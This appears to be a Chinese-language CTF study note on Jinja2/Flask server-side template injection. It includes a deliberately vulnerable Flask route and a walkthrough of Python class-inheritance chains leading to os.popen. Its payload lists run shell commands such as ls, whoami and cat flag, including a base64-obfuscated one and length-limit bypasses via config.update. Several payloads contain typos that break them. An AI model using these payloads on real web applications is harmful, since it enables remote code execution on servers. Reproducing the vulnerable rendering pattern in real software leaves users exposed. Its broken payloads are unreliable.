SSTI漏洞:

超详细SSTI模板注入漏洞原理讲解_ssti注入-CSDN博客:https://blog.csdn.net/qq_61955196/article/details/132237648

焚靖工具安装:https://blog.csdn.net/m0_73683234/article/details/136789243

判断方法:

变量名=49 #如果正常回显,说明存在SSTI漏洞

python中的特殊属性:

常用的解题payload:

1
2
3
4
5
6
7
8
9
10
11
code={{config.__class__.__init__.globals__['os'].popen('ls').read()}}

code={{lipsum.__globals__.__builtins__.__import__('os').popen('ls').read()}}

code={{url_for.__globals__['__buitlins__']['eval']("__import__('os').popen('ls').read()")}}

code={{"".__init__.globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

*{{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat flag').read()}}

*{{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen'](' ` echo Y2F0IC9mKg== | base64 -d ` ').read()}}

出现过滤,常用的绕过方法:

绕过{} %

绕过. []

例子:

详解:

SSTI漏洞原理
服务端接收攻击者的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了攻击者插入的可以破坏模板的语句,从而达到攻击者的目的。

这么说可能有点抽象,我们看一下下面的python中的基于jinja2的模板渲染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import *
from jinja2 import *

app = Flask(__name__)

@app.route("/myan")

def index():
name = request.args.get('name','guest')
html = '''<h3> Hello %s'''%name
return render_template_string(html)

if __name__ == "__main__":
app.run(debug=True)

运行后访问http://127.0.0.1:5000/myan可以发现默认的模板解析参数为guest

img

从上面的python代码中我们发现服务端的逻辑是接收前端输入的name参数,然后将其返回到后端进行拼接再返回前端进行展示,当我们输入?name=myan时可以发现前端返回结果

img

1
2
模板渲染函数
这里主要有两种模板渲染函数,render_template_string()与render_template(),其中render_template是用来渲染一个指定文件的。render_template_string()则是用来渲染字符串的。而渲染函数在渲染的时候,往往对用户输入的变量不做渲染,即:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{2*2}}会被解析成4。因此才有了现在的模板注入漏洞。往往变量我们使用{{恶意代码}}。正因为{{}}包裹的东西会被解析,因此我们就可以实现类似于SQL注入的漏洞

SSTI漏洞攻击方法

继承关系

这里我想先讲讲类之间的继承关系,因为在后面的攻击中用到的就是这种继承关系的不断调用最终达到一个rce的效果,这里我们就具体讲讲类的继承关系

img

可以看到我们创建了4个类,其中的B类继承了A类,C、D类继承了B类,如果我们在这创建一个C的对象c,那么我们就可以通过__class__魔术方法来找到它的当前类

img

可以看到它返回了一个当前的类为C,我们还可以通过__base__这个魔术方法来找到当前类的父类

img

可以看到找到了C类的父类B类,如果还想要找B类的父类可以接着使用__base__魔术方法

img

是没有类了,但是其实所有的类都时object类的子类,当我们创建一个类而没有显式地指定它继承的父类时,这个类就会默认继承object类,因此我们在添加一个__base__就能拿到object

img

当然这样一个一个递进上去的方法有一些麻烦,所以我们可以使用__mro__魔术方法来一步到位看到类的所有父类

img

由于它是以数组形式的所以我们在后面加上下标就能拿到指定的类了

img

或许你看到这里可能感觉没什么用的样子,但是我希望能把这里理解的透彻一些,这样对于后面理解攻击payload会很有帮助

我们在拿到object类后就可以通过object类来查找python中的所有object类的子类,当然这其中会有我们能通过该类rce的子类。我们通过__subclasses__来获取当前类的所有子类
img

可以发现有很多类,前面我们也说到了python的所有类最终都是继承object类的,因此这里存在大量的类,当然我们最终的目的是要去进行rce,因此我们应该寻找与之相关的类,这里就给出一个类<class ‘os._wrap_close’>,我们在这里找一下,一般大概在第139个,不过具体的环境还是要具体分析,比如我这里就是138
img

跟前面的__mro__魔术方法一样是用数组表示的,可以用下标找到对应的类。接下来我们给这个类进行一些初始化方法

img

初始化方法后可以通过__globals__魔术方法来返回当前类方法中的全局变量字典,可能有一点点抽象,我也不太懂具体是返回什么,但是大致就是返回当前类的全局变量

img

可以发现很多全局变量都在里面,我们需要最后能够进行rce,因此应该找到能执行系统命令的方法,这里用popen函数来执行系统命令,在后面加上具体的函数名即可找到对应的函数

img

我们执行一下shell命令,这里执行一下whoami,这里一定要记得用.read()来读取一下,因为popen方法返回的是一个与子进程通信的对象,为了从该对象中获取子进程的输出,因此需要使用read()方法来读取子进程的输出】。

img

可以发现成功执行系统命令,这里我们就其实通过类的继承关系里大致讲完了SSTI的一个攻击的思路。

魔术方法

上面用的魔术方法这里总结一下,其他更多的魔术方法之后在补充一下

class :返回类型所属的对象
mro :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
base :返回该对象所继承的父类
mro :返回该对象的所有父类

subclasses() 获取当前类的所有子类
init 类的初始化方法
globals 对包含(保存)函数全局变量的字典的引用

我们可以直接使用下面这些来直接获取对应的类

‘’.class

().class

[].class

“”.class

{}.class

长度限制绕过:

1.使用较短的注入:

1
2
3
{{url_for.__globals__.os.popen('whoami').read()}}

*{{lipsum.__globals__.os.popen('whoami').read()}}

2.使用全局变量:

1
2
3
4
5
{%set x=config.update(a=config.update)%}
{%set x=config.a(f=lipsum.__globals__)%}
{%set x=config.a(o=config.f.os)%}
{%set x=config.a(p=config.o.popen)%}
{{config.p("ls").read()}}